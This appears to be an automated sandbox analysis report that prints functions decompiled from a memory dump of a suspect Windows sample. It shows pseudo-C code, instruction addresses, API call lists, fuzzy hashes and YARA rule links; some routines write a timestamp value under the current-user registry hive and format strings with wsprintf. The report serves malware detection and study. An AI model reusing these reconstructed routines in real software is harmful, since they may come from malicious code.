Associated: 00000003.00000002.495297118.0000000004630000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495381706.000000000463C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.495421061.000000000463D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495461279.000000000463F000.00000002.00000001.sdmp Download File

Similarity

API ID: QueryValue$ArrayCloseDestroyFreeHeapOpenSafe
String ID:
API String ID: 486277218-0
Opcode ID: a081df69c01fb0e4a23d56a005ad9b5612eb9d946a86e0e8aa4a8c61e24e836d
Instruction ID: e531abc23a4615eb16b7daf9371ddcca9b8c632134512e9e9835d85a6ef4d41d
Opcode Fuzzy Hash: a081df69c01fb0e4a23d56a005ad9b5612eb9d946a86e0e8aa4a8c61e24e836d
Instruction Fuzzy Hash: BA213EB650019EBFDF11AF94DC80CEE7BA9FB14751B044036FE1597120E731AD659BA0

Uniqueness

Uniqueness Score: -1.00%

Function 04636545, Relevance: 6.1, APIs: 4, Instructions: 76
sleepstringCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E04636545(intOrPtr* __eax, void** _a4, intOrPtr* _a8) {
				intOrPtr _v8;
				void* _v12;
				void* _v16;
				intOrPtr _t26;
				intOrPtr* _t28;
				intOrPtr _t31;
				intOrPtr* _t32;
				void* _t39;
				int _t46;
				intOrPtr* _t47;
				int _t48;

				_t47 = __eax;
				_push( &_v12);
				_push(__eax);
				_t39 = 0;
				_t46 = 0; // executed
				_t26 =  *((intOrPtr*)( *__eax + 0x24))();
				_v8 = _t26;
				if(_t26 < 0) {
					L13:
					return _v8;
				}
				if(_v12 == 0) {
					Sleep(0xc8);
					_v8 =  *((intOrPtr*)( *_t47 + 0x24))(_t47,  &_v12);
				}
				if(_v8 >= _t39) {
					_t28 = _v12;
					if(_t28 != 0) {
						_t31 =  *((intOrPtr*)( *_t28 + 0x100))(_t28,  &_v16);
						_v8 = _t31;
						if(_t31 >= 0) {
							_t46 = lstrlenW(_v16);
							if(_t46 != 0) {
								_t46 = _t46 + 1;
								_t48 = _t46 + _t46;
								_t39 = E0463A71F(_t48);
								if(_t39 == 0) {
									_v8 = 0x8007000e;
								} else {
									memcpy(_t39, _v16, _t48);
								}
								__imp__#6(_v16); // executed
							}
						}
						_t32 = _v12;
						 *((intOrPtr*)( *_t32 + 8))(_t32);
					}
					 *_a4 = _t39;
					 *_a8 = _t46 + _t46;
				}
				goto L13;
			}

0x04636551
0x04636555
0x04636556
0x04636557
0x04636559
0x0463655b
0x0463655e
0x04636563
0x046365fa
0x04636601
0x04636601
0x0463656c
0x04636573
0x04636583
0x04636583
0x04636589
0x0463658b
0x04636590
0x04636599
0x0463659f
0x046365a4
0x046365af
0x046365b3
0x046365b5
0x046365b6
0x046365bf
0x046365c3
0x046365d4
0x046365c5
0x046365ca
0x046365cf
0x046365de
0x046365de
0x046365b3
0x046365e4
0x046365ea
0x046365ea
0x046365f3
0x046365f8
0x046365f8
0x00000000

APIs

Sleep.KERNEL32(000000C8), ref: 04636573
lstrlenW.KERNEL32(?), ref: 046365A9
memcpy.NTDLL(00000000,?,?,?), ref: 046365CA
SysFreeString.OLEAUT32(?), ref: 046365DE

Memory Dump Source

Source File: 00000003.00000002.495310347.0000000004631000.00000020.00000001.sdmp, Offset: 04630000, based on PE: true

Associated: 00000003.00000002.495297118.0000000004630000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495381706.000000000463C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.495421061.000000000463D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495461279.000000000463F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeSleepStringlstrlenmemcpy
String ID:
API String ID: 1198164300-0
Opcode ID: 717015bc3a35b1aa29fe133cdd5d4f65637c5fdb136e5b8fe84053b5ed0b5ea6
Instruction ID: 52cdea993cec21bb35bb658ff2553b607c8139ff40dcb8039796c09b1ed190b1
Opcode Fuzzy Hash: 717015bc3a35b1aa29fe133cdd5d4f65637c5fdb136e5b8fe84053b5ed0b5ea6
Instruction Fuzzy Hash: 31213C75901249FFDB21DFA8C98499EBBB8EF58316B104179E902A7214FB71EE01CB60

Uniqueness

Uniqueness Score: -1.00%

Function 0463486F, Relevance: 6.1, APIs: 4, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E0463486F(char* __eax) {
				char* _t8;
				intOrPtr _t12;
				char* _t21;
				signed int _t23;
				char* _t24;
				signed int _t26;
				void* _t27;

				_t21 = __eax;
				_push(0x20);
				_t23 = 1;
				_push(__eax);
				while(1) {
					_t8 = StrChrA();
					if(_t8 == 0) {
						break;
					}
					_t23 = _t23 + 1;
					_push(0x20);
					_push( &(_t8[1]));
				}
				_t12 = E0463A71F(_t23 << 2);
				 *((intOrPtr*)(_t27 + 0x10)) = _t12;
				if(_t12 != 0) {
					StrTrimA(_t21, 0x463c284); // executed
					_t26 = 0;
					do {
						_t24 = StrChrA(_t21, 0x20);
						if(_t24 != 0) {
							 *_t24 = 0;
							_t24 =  &(_t24[1]);
							StrTrimA(_t24, 0x463c284);
						}
						 *( *((intOrPtr*)(_t27 + 0x10)) + _t26 * 4) = _t21;
						_t26 = _t26 + 1;
						_t21 = _t24;
					} while (_t24 != 0);
					 *((intOrPtr*)( *((intOrPtr*)(_t27 + 0x18)))) =  *((intOrPtr*)(_t27 + 0x10));
				}
				return 0;
			}

0x0463487a
0x0463487e
0x04634880
0x04634881
0x04634889
0x04634889
0x0463488d
0x00000000
0x00000000
0x04634884
0x04634885
0x04634888
0x04634888
0x04634895
0x0463489a
0x046348a0
0x046348a8
0x046348ae
0x046348b0
0x046348b5
0x046348b9
0x046348bb
0x046348be
0x046348c5
0x046348c5
0x046348cf
0x046348d2
0x046348d3
0x046348d5
0x046348e1
0x046348e1
0x046348ee

APIs

StrChrA.SHLWAPI(?,00000020,00000000,051695AC,?,04635D25,?,0463243F,051695AC,?,04635D25), ref: 04634889
StrTrimA.KERNELBASE(?,0463C284,00000002,?,04635D25,?,0463243F,051695AC,?,04635D25), ref: 046348A8
StrChrA.SHLWAPI(?,00000020,?,04635D25,?,0463243F,051695AC,?,04635D25), ref: 046348B3
StrTrimA.SHLWAPI(00000001,0463C284,?,04635D25,?,0463243F,051695AC,?,04635D25), ref: 046348C5

Memory Dump Source

Source File: 00000003.00000002.495310347.0000000004631000.00000020.00000001.sdmp, Offset: 04630000, based on PE: true

Associated: 00000003.00000002.495297118.0000000004630000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495381706.000000000463C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.495421061.000000000463D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495461279.000000000463F000.00000002.00000001.sdmp Download File

Similarity

API ID: Trim
String ID:
API String ID: 3043112668-0
Opcode ID: bc3dc1504e08e21ac3ca7bd62988532468057250685785fab40b892a8e24d1dc
Instruction ID: 0c07364afc4830facfd53ff44a71636f169af76a302395099a0c63b32b44da52
Opcode Fuzzy Hash: bc3dc1504e08e21ac3ca7bd62988532468057250685785fab40b892a8e24d1dc
Instruction Fuzzy Hash: 4801B5726053D19BD3219F699C48E27FB98EB55A96F111518F941D7340FF70EC0296A0

Uniqueness

Uniqueness Score: -1.00%

Function 04638D14, Relevance: 4.6, APIs: 3, Instructions: 94
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04638D14(void* __edx) {
				void* _v8;
				int _v12;
				WCHAR* _v16;
				void* __edi;
				void* __esi;
				void* _t23;
				intOrPtr _t24;
				void* _t26;
				intOrPtr _t32;
				intOrPtr _t35;
				void* _t37;
				intOrPtr _t38;
				intOrPtr _t42;
				void* _t45;
				void* _t50;
				void* _t52;

				_t50 = __edx;
				_v12 = 0;
				_t23 = E0463A2F9(0,  &_v8); // executed
				if(_t23 != 0) {
					_v8 = 0;
				}
				_t24 =  *0x463d2a8; // 0xb2a5a8
				_t4 = _t24 + 0x463edc0; // 0x5169368
				_t5 = _t24 + 0x463ed68; // 0x4f0053
				_t26 = E04635356( &_v16, _v8, _t5, _t4); // executed
				_t45 = _t26;
				if(_t45 == 0) {
					StrToIntExW(_v16, 0,  &_v12);
					_t45 = 8;
					if(_v12 < _t45) {
						_t45 = 1;
						__eflags = 1;
					} else {
						_t32 =  *0x463d2a8; // 0xb2a5a8
						_t11 = _t32 + 0x463edb4; // 0x516935c
						_t48 = _t11;
						_t12 = _t32 + 0x463ed68; // 0x4f0053
						_t52 = E046345C6(_t11, _t12, _t11);
						_t59 = _t52;
						if(_t52 != 0) {
							_t35 =  *0x463d2a8; // 0xb2a5a8
							_t13 = _t35 + 0x463edfe; // 0x30314549
							_t37 = E04638E27(_t48, _t50, _t59, _v8, _t52, _t13, 0x14); // executed
							if(_t37 == 0) {
								_t61 =  *0x463d25c - 6;
								if( *0x463d25c <= 6) {
									_t42 =  *0x463d2a8; // 0xb2a5a8
									_t15 = _t42 + 0x463ec0a; // 0x52384549
									E04638E27(_t48, _t50, _t61, _v8, _t52, _t15, 0x13);
								}
							}
							_t38 =  *0x463d2a8; // 0xb2a5a8
							_t17 = _t38 + 0x463edf8; // 0x51693a0
							_t18 = _t38 + 0x463edd0; // 0x680043
							_t45 = E04635D7D(_v8, 0x80000001, _t52, _t18, _t17);
							HeapFree( *0x463d238, 0, _t52);
						}
					}
					HeapFree( *0x463d238, 0, _v16);
				}
				_t54 = _v8;
				if(_v8 != 0) {
					E04634F14(_t54);
				}
				return _t45;
			}

0x04638d14
0x04638d24
0x04638d27
0x04638d2e
0x04638d30
0x04638d30
0x04638d33
0x04638d38
0x04638d3f
0x04638d4c
0x04638d51
0x04638d55
0x04638d63
0x04638d71
0x04638d75
0x04638e06
0x04638e06
0x04638d7b
0x04638d7b
0x04638d80
0x04638d80
0x04638d87
0x04638d93
0x04638d95
0x04638d97
0x04638d99
0x04638da0
0x04638dab
0x04638db2
0x04638db4
0x04638dbb
0x04638dbd
0x04638dc4
0x04638dcf
0x04638dcf
0x04638dbb
0x04638dd4
0x04638dd9
0x04638de0
0x04638dfe
0x04638e00
0x04638e00
0x04638d97
0x04638e12
0x04638e12
0x04638e14
0x04638e19
0x04638e1b
0x04638e1b
0x04638e26

APIs

StrToIntExW.SHLWAPI(?,00000000,?,?,004F0053,05169368,00000000,?,7519F710,00000000,7519F730), ref: 04638D63
HeapFree.KERNEL32(00000000,00000000,?,80000001,00000000,00680043,051693A0,?,00000000,30314549,00000014,004F0053,0516935C), ref: 04638E00
HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,0463523E), ref: 04638E12

Memory Dump Source

Source File: 00000003.00000002.495310347.0000000004631000.00000020.00000001.sdmp, Offset: 04630000, based on PE: true

Associated: 00000003.00000002.495297118.0000000004630000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495381706.000000000463C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.495421061.000000000463D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495461279.000000000463F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: b24768e7367e399357659073921ade01c250b9d1629bd4a9a0f276dd7cebf47b
Instruction ID: 819b727dd7ad285430c7cb6ecc6711b04fe8fb8f70e0b721e9a18e0fd71936b6
Opcode Fuzzy Hash: b24768e7367e399357659073921ade01c250b9d1629bd4a9a0f276dd7cebf47b
Instruction Fuzzy Hash: 91316D72900189BFEB11EB94DC44EDABBBDEF54706F04015AB60097260F671BE44DB60

Uniqueness

Uniqueness Score: -1.00%

Function 0463A376, Relevance: 4.6, APIs: 3, Instructions: 76
memoryCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E0463A376(void* __ecx, void* __edx, char _a4, void** _a8, intOrPtr* _a12, intOrPtr* _a16, intOrPtr* _a20) {
				void* _v8;
				void* __edi;
				intOrPtr _t18;
				void* _t24;
				void* _t25;
				void* _t30;
				void* _t36;
				void* _t40;
				intOrPtr _t42;

				_t36 = __edx;
				_t32 = __ecx;
				_push(__ecx);
				_push(__ecx);
				_t42 =  *0x463d340; // 0x5169a88
				_push(0x800);
				_push(0);
				_push( *0x463d238);
				if( *0x463d24c >= 5) {
					if(RtlAllocateHeap() == 0) {
						L6:
						_t30 = 8;
						L7:
						if(_t30 != 0) {
							L10:
							 *0x463d24c =  *0x463d24c + 1;
							L11:
							return _t30;
						}
						_t44 = _a4;
						_t40 = _v8;
						 *_a16 = _a4;
						 *_a20 = E04637306(_t44, _t40); // executed
						_t18 = E04634A09(_t40, _t44); // executed
						if(_t18 != 0) {
							 *_a8 = _t40;
							 *_a12 = _t18;
							if( *0x463d24c < 5) {
								 *0x463d24c =  *0x463d24c & 0x00000000;
							}
							goto L11;
						}
						_t30 = 0xbf;
						E04636761();
						RtlFreeHeap( *0x463d238, 0, _t40); // executed
						goto L10;
					}
					_t24 = E04631F13(_a4, _t32, _t36, _t42,  &_v8,  &_a4, _t13);
					L5:
					_t30 = _t24;
					goto L7;
				}
				_t25 = RtlAllocateHeap(); // executed
				if(_t25 == 0) {
					goto L6;
				}
				_t24 = E04634AB6(_a4, _t32, _t36, _t42,  &_v8,  &_a4, _t25); // executed
				goto L5;
			}

0x0463a376
0x0463a376
0x0463a379
0x0463a37a
0x0463a384
0x0463a38b
0x0463a390
0x0463a392
0x0463a398
0x0463a3c0
0x0463a3d8
0x0463a3da
0x0463a3db
0x0463a3dd
0x0463a41b
0x0463a41b
0x0463a421
0x0463a427
0x0463a427
0x0463a3df
0x0463a3e5
0x0463a3e8
0x0463a3f7
0x0463a3f9
0x0463a400
0x0463a434
0x0463a439
0x0463a43b
0x0463a43d
0x0463a43d
0x00000000
0x0463a43b
0x0463a402
0x0463a407
0x0463a415
0x00000000
0x0463a415
0x0463a3cf
0x0463a3d4
0x0463a3d4
0x00000000
0x0463a3d4
0x0463a39a
0x0463a3a2
0x00000000
0x00000000
0x0463a3b1
0x00000000

APIs

RtlAllocateHeap.NTDLL(00000000,00000800,7519F710), ref: 0463A39A

Part of subcall function 04634AB6: GetTickCount.KERNEL32 ref: 04634ACA
Part of subcall function 04634AB6: wsprintfA.USER32 ref: 04634B1A
Part of subcall function 04634AB6: wsprintfA.USER32 ref: 04634B37
Part of subcall function 04634AB6: wsprintfA.USER32 ref: 04634B63
Part of subcall function 04634AB6: HeapFree.KERNEL32(00000000,?), ref: 04634B75
Part of subcall function 04634AB6: wsprintfA.USER32 ref: 04634B96
Part of subcall function 04634AB6: HeapFree.KERNEL32(00000000,?), ref: 04634BA6
Part of subcall function 04634AB6: RtlAllocateHeap.NTDLL(00000000,00000800), ref: 04634BD4
Part of subcall function 04634AB6: GetTickCount.KERNEL32 ref: 04634BE5

RtlAllocateHeap.NTDLL(00000000,00000800,7519F710), ref: 0463A3B8
RtlFreeHeap.NTDLL(00000000,00000002,04635289,?,04635289,00000002,?,?,04635D5E,?), ref: 0463A415

Memory Dump Source

Source File: 00000003.00000002.495310347.0000000004631000.00000020.00000001.sdmp, Offset: 04630000, based on PE: true

Associated: 00000003.00000002.495297118.0000000004630000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495381706.000000000463C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.495421061.000000000463D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495461279.000000000463F000.00000002.00000001.sdmp Download File

Similarity

API ID: Heap$wsprintf$AllocateFree$CountTick
String ID:
API String ID: 1676223858-0
Opcode ID: b4f0155ec4123d968c1e6f93d53a828882153ee23b9e644c65193585d2b65cd8
Instruction ID: 64f240e159d94aa6cf24b15311b61f49fd36407d97d631b60a1c48c6c274b2ce
Opcode Fuzzy Hash: b4f0155ec4123d968c1e6f93d53a828882153ee23b9e644c65193585d2b65cd8
Instruction Fuzzy Hash: 03212F72200295EBEB11DF98D884E9A77BCEB45346F104025FA01D7250FB74FD45EBA5

Uniqueness

Uniqueness Score: -1.00%

Function 04631DF4, Relevance: 4.6, APIs: 3, Instructions: 73
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E04631DF4(void* __eax, char* _a4, char* _a8, intOrPtr _a12, intOrPtr _a16, void** _a20, intOrPtr* _a24) {
				char _v5;
				signed int _v12;
				intOrPtr _v16;
				char _t28;
				void* _t33;
				void* _t38;
				void* _t45;
				char* _t46;
				void* _t48;
				char* _t56;
				char* _t57;
				intOrPtr _t59;
				void* _t60;

				_t56 = _a4;
				_t60 = __eax;
				_v12 = 0xb;
				if(_t56 != 0 && __eax != 0) {
					_t5 = _t60 - 1; // -1
					_t46 =  &(_t56[_t5]);
					_t28 =  *_t46;
					_v5 = _t28;
					 *_t46 = 0;
					__imp__(_a8, _t45);
					_v16 = _t28;
					_t57 = StrStrA(_t56, _a8);
					if(_t57 != 0) {
						 *_t46 = _v5;
						_t33 = RtlAllocateHeap( *0x463d238, 0, _a16 + _t60); // executed
						_t48 = _t33;
						if(_t48 == 0) {
							_v12 = 8;
						} else {
							_t58 = _t57 - _a4;
							E0463A749(_t57 - _a4, _a4, _t48);
							_t38 = E0463A749(_a16, _a12, _t58 + _t48);
							_t53 = _v16;
							_t59 = _a16;
							E0463A749(_t60 - _t58 - _v16, _t53 + _t58 + _a4, _t38 + _t59);
							 *_a20 = _t48;
							_v12 = _v12 & 0x00000000;
							 *_a24 = _t60 - _v16 + _t59;
						}
					}
				}
				return _v12;
			}

0x04631dfc
0x04631dff
0x04631e01
0x04631e0a
0x04631e1c
0x04631e1c
0x04631e20
0x04631e22
0x04631e25
0x04631e28
0x04631e31
0x04631e3b
0x04631e3f
0x04631e44
0x04631e54
0x04631e5a
0x04631e5e
0x04631ead
0x04631e60
0x04631e60
0x04631e69
0x04631e78
0x04631e7d
0x04631e8a
0x04631e93
0x04631e9e
0x04631ea5
0x04631ea9
0x04631ea9
0x04631e5e
0x04631eb4
0x04631ebb

APIs

lstrlen.KERNEL32(7519F710,?,00000000,?,7519F710), ref: 04631E28
StrStrA.SHLWAPI(00000000,?), ref: 04631E35
RtlAllocateHeap.NTDLL(00000000,?), ref: 04631E54

Memory Dump Source

Source File: 00000003.00000002.495310347.0000000004631000.00000020.00000001.sdmp, Offset: 04630000, based on PE: true

Associated: 00000003.00000002.495297118.0000000004630000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495381706.000000000463C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.495421061.000000000463D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495461279.000000000463F000.00000002.00000001.sdmp Download File

Similarity

API ID: AllocateHeaplstrlen
String ID:
API String ID: 556738718-0
Opcode ID: ffa9b7a89dfd6a4518b39e953bba5fc83edeb7b886d6aedc4c08ae5b7a01c8bd
Instruction ID: ea7d0909863692ad42287f59c8c609c3d883fe658fc82c077a63fefe1db09342
Opcode Fuzzy Hash: ffa9b7a89dfd6a4518b39e953bba5fc83edeb7b886d6aedc4c08ae5b7a01c8bd
Instruction Fuzzy Hash: FC21593A604289AFCB01DFA9C884BDEBFB5EF85315F048255EC44AB305E735E915CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 04631526, Relevance: 3.8, APIs: 3, Instructions: 81
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E04631526(void* _a4, intOrPtr _a8, intOrPtr _a12) {
				int _v12;
				signed int _v16;
				void* _v20;
				signed char _v36;
				void* _t24;
				intOrPtr _t27;
				void* _t35;
				signed int _t38;
				signed char* _t46;
				int _t53;
				void* _t55;
				void* _t56;
				void* _t57;

				_v16 = _v16 & 0x00000000;
				_t46 = _a4;
				_t53 = ( *_t46 & 0x000000ff) + 0x90;
				_v12 = 0x90;
				_t24 = E0463A71F(_t53);
				_a4 = _t24;
				if(_t24 != 0) {
					memcpy(_t24,  *0x463d2d8, 0x90);
					_t27 =  *0x463d2dc; // 0x0
					_t57 = _t56 + 0xc;
					if(_t27 != 0) {
						_t51 = _a4;
						E04631709(0x90, _a4, _t27, 0);
					}
					if(E046314F3( &_v36) != 0) {
						_t35 = E046337B8(0x90, _a4,  &_v20,  &_v12,  &_v36, 0); // executed
						if(_t35 == 0) {
							_t55 = _v20;
							_v36 =  *_t46;
							_t38 = E04634776(_t55, _a8, _t51, _t46, _a12); // executed
							_v16 = _t38;
							 *(_t55 + 4) = _v36;
							_t20 =  &(_t46[4]); // 0x8b4875c6
							memset(_t55, 0, _v12 - ( *_t20 & 0xf));
							_t57 = _t57 + 0xc;
							E0463A734(_t55);
						}
					}
					memset(_a4, 0, _t53);
					E0463A734(_a4);
				}
				return _v16;
			}

0x0463152c
0x04631531
0x0463153e
0x04631541
0x04631544
0x04631549
0x0463154e
0x0463155c
0x04631561
0x04631566
0x0463156b
0x0463156d
0x04631575
0x04631575
0x04631584
0x04631599
0x046315a0
0x046315a7
0x046315ad
0x046315b3
0x046315bb
0x046315c1
0x046315c4
0x046315d1
0x046315d6
0x046315da
0x046315da
0x046315a0
0x046315e5
0x046315f0
0x046315f0
0x046315fc

APIs

Part of subcall function 0463A71F: RtlAllocateHeap.NTDLL(00000000,00000000,04635595), ref: 0463A72B

memcpy.NTDLL(00000000,00000090,00000002,00000002,04635289,00000008,04635289,04635289,?,0463A3FE,04635289), ref: 0463155C
memset.NTDLL ref: 046315D1
memset.NTDLL ref: 046315E5

Memory Dump Source

Source File: 00000003.00000002.495310347.0000000004631000.00000020.00000001.sdmp, Offset: 04630000, based on PE: true

Associated: 00000003.00000002.495297118.0000000004630000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495381706.000000000463C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.495421061.000000000463D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495461279.000000000463F000.00000002.00000001.sdmp Download File

Similarity

API ID: memset$AllocateHeapmemcpy
String ID:
API String ID: 1529149438-0
Opcode ID: 6a08a4b724bd64bb056c0ef5ee9e4c224a55bfb1d6cf99cb797cbb80d3f16587
Instruction ID: 78ce5773aa3f491adefbae62e773c245541ca676ab5061785e43831410c3481d
Opcode Fuzzy Hash: 6a08a4b724bd64bb056c0ef5ee9e4c224a55bfb1d6cf99cb797cbb80d3f16587
Instruction Fuzzy Hash: 91217175900298BBEB11EFA5CC40BDEBBB8EF09255F044019F904E7251F734EA01CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0463219B, Relevance: 3.1, APIs: 2, Instructions: 112
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E0463219B(void* __ecx, void* _a4, intOrPtr _a8, char _a12, intOrPtr _a16, char _a20, intOrPtr _a24, intOrPtr* _a28) {
				void* _v8;
				void* __esi;
				intOrPtr* _t35;
				void* _t40;
				intOrPtr* _t41;
				intOrPtr* _t43;
				intOrPtr* _t45;
				intOrPtr* _t50;
				intOrPtr* _t52;
				void* _t54;
				intOrPtr* _t55;
				intOrPtr* _t57;
				intOrPtr* _t61;
				intOrPtr* _t65;
				intOrPtr _t68;
				void* _t72;
				void* _t75;
				void* _t76;

				_t55 = _a4;
				_t35 =  *((intOrPtr*)(_t55 + 4));
				_a4 = 0;
				_t76 =  *((intOrPtr*)( *_t35 + 0x4c))(_t35, _a16, 0,  &_v8, 0, _t72, _t75, _t54, __ecx, __ecx);
				if(_t76 < 0) {
					L18:
					return _t76;
				}
				_t40 = E04633AB0(_v8, _a8, _a12, _a20,  &_a20,  &_a12); // executed
				_t76 = _t40;
				if(_t76 >= 0) {
					_t61 = _a28;
					if(_t61 != 0 &&  *_t61 != 0) {
						_t52 = _v8;
						_t76 =  *((intOrPtr*)( *_t52 + 0x14))(_t52, _a24, 0, _t61, 0);
					}
					if(_t76 >= 0) {
						_t43 =  *_t55;
						_t68 =  *0x463d2a8; // 0xb2a5a8
						_t20 = _t68 + 0x463e1fc; // 0x740053
						_t76 =  *((intOrPtr*)( *_t43 + 0x60))(_t43, _t20, _a16, 0, 0, _v8,  &_a4, 0);
						if(_t76 >= 0) {
							_t76 = E046357B4(_a4);
							if(_t76 >= 0) {
								_t65 = _a28;
								if(_t65 != 0 &&  *_t65 == 0) {
									_t50 = _a4;
									_t76 =  *((intOrPtr*)( *_t50 + 0x10))(_t50, _a24, 0, _t65, 0, 0);
								}
							}
						}
						_t45 = _a4;
						if(_t45 != 0) {
							 *((intOrPtr*)( *_t45 + 8))(_t45);
						}
						_t57 = __imp__#6;
						if(_a20 != 0) {
							 *_t57(_a20);
						}
						if(_a12 != 0) {
							 *_t57(_a12);
						}
					}
				}
				_t41 = _v8;
				 *((intOrPtr*)( *_t41 + 8))(_t41);
				goto L18;
			}

0x046321a1
0x046321a4
0x046321b4
0x046321bd
0x046321c1
0x0463228f
0x04632295
0x04632295
0x046321db
0x046321e0
0x046321e4
0x046321ea
0x046321ef
0x046321f6
0x04632205
0x04632205
0x04632209
0x0463220b
0x04632217
0x04632222
0x0463222d
0x04632231
0x0463223b
0x0463223f
0x04632241
0x04632246
0x0463224d
0x0463225d
0x0463225d
0x04632246
0x0463223f
0x0463225f
0x04632264
0x04632269
0x04632269
0x0463226c
0x04632275
0x0463227a
0x0463227a
0x0463227f
0x04632284
0x04632284
0x0463227f
0x04632209
0x04632286
0x0463228c
0x00000000

APIs

Part of subcall function 04633AB0: SysAllocString.OLEAUT32(80000002), ref: 04633B0D
Part of subcall function 04633AB0: SysFreeString.OLEAUT32(00000000), ref: 04633B73

SysFreeString.OLEAUT32(?), ref: 0463227A
SysFreeString.OLEAUT32(046385ED), ref: 04632284

Memory Dump Source

Source File: 00000003.00000002.495310347.0000000004631000.00000020.00000001.sdmp, Offset: 04630000, based on PE: true

Associated: 00000003.00000002.495297118.0000000004630000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495381706.000000000463C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.495421061.000000000463D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495461279.000000000463F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$Free$Alloc
String ID:
API String ID: 986138563-0
Opcode ID: bbe07302458656f29bae97f42628b6d12b5206bd7c79301a3374bb170601ab06
Instruction ID: 52f662131c21dfdcbd70768cc8e4ea3835d8762cba5ecac7c35880352f651e15
Opcode Fuzzy Hash: bbe07302458656f29bae97f42628b6d12b5206bd7c79301a3374bb170601ab06
Instruction Fuzzy Hash: FE314D72500199AFCB11EF94CC98C9BBB7AFFC97417248A98F8159B214E731ED51CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 04633D5F, Relevance: 3.1, APIs: 2, Instructions: 52COMMON

Download Yara Rule

APIs

SafeArrayCreate.OLEAUT32(00000011,00000001,80000002), ref: 04633D86

Part of subcall function 0463219B: SysFreeString.OLEAUT32(?), ref: 0463227A

SafeArrayDestroy.OLEAUT32(?), ref: 04633DD6

Memory Dump Source

Source File: 00000003.00000002.495310347.0000000004631000.00000020.00000001.sdmp, Offset: 04630000, based on PE: true

Associated: 00000003.00000002.495297118.0000000004630000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495381706.000000000463C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.495421061.000000000463D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495461279.000000000463F000.00000002.00000001.sdmp Download File

Similarity

API ID: ArraySafe$CreateDestroyFreeString
String ID:
API String ID: 3098518882-0
Opcode ID: e356f226a790593ef54875e5e06bafd36a40993e826bd0088fbb5252f22d4099
Instruction ID: e78c93f407d7573d31727f75e704b74a1ead503775ab55ff3eb270cfcf38d6d7
Opcode Fuzzy Hash: e356f226a790593ef54875e5e06bafd36a40993e826bd0088fbb5252f22d4099
Instruction Fuzzy Hash: 37113036A00249BFDB01DFA4C844AEEB7B9EF18311F008015FA04E7260F775AA559B91

Uniqueness

Uniqueness Score: -1.00%

Function 04638E27, Relevance: 3.0, APIs: 2, Instructions: 50
memorytimeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04638E27(void* __ecx, void* __edx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, signed int _a16) {
				struct _FILETIME _v12;
				signed int _t11;
				void* _t16;
				short _t19;
				void* _t22;
				void* _t24;
				void* _t25;
				short* _t26;

				_t24 = __edx;
				_t25 = E04639070(_t11, _a12);
				if(_t25 == 0) {
					_t22 = 8;
				} else {
					_t26 = _t25 + _a16 * 2;
					 *_t26 = 0; // executed
					_t16 = E046372C0(__ecx, _a4, _a8, _t25); // executed
					_t22 = _t16;
					if(_t22 == 0) {
						GetSystemTimeAsFileTime( &_v12);
						_t19 = 0x5f;
						 *_t26 = _t19;
						_t22 = E046322F1(_t24, _a4, 0x80000001, _a8, _t25,  &_v12, 8);
					}
					HeapFree( *0x463d238, 0, _t25);
				}
				return _t22;
			}

0x04638e27
0x04638e38
0x04638e3c
0x04638e97
0x04638e3e
0x04638e45
0x04638e4d
0x04638e50
0x04638e55
0x04638e59
0x04638e5f
0x04638e67
0x04638e6a
0x04638e82
0x04638e82
0x04638e8d
0x04638e8d
0x04638e9e

APIs

Part of subcall function 04639070: lstrlen.KERNEL32(?,00000000,05169A98,00000000,04638808,05169C76,?,?,?,?,?,63699BC3,00000005,0463D00C), ref: 04639077
Part of subcall function 04639070: mbstowcs.NTDLL ref: 046390A0
Part of subcall function 04639070: memset.NTDLL ref: 046390B2

GetSystemTimeAsFileTime.KERNEL32(004F0053,004F0053,00000014,00000000,00000008,00000000,75145520,00000008,00000014,004F0053,0516935C), ref: 04638E5F
HeapFree.KERNEL32(00000000,00000000,004F0053,00000014,00000000,00000008,00000000,75145520,00000008,00000014,004F0053,0516935C), ref: 04638E8D

Memory Dump Source

Source File: 00000003.00000002.495310347.0000000004631000.00000020.00000001.sdmp, Offset: 04630000, based on PE: true

Associated: 00000003.00000002.495297118.0000000004630000.00000004.00000001.sdmp Download File
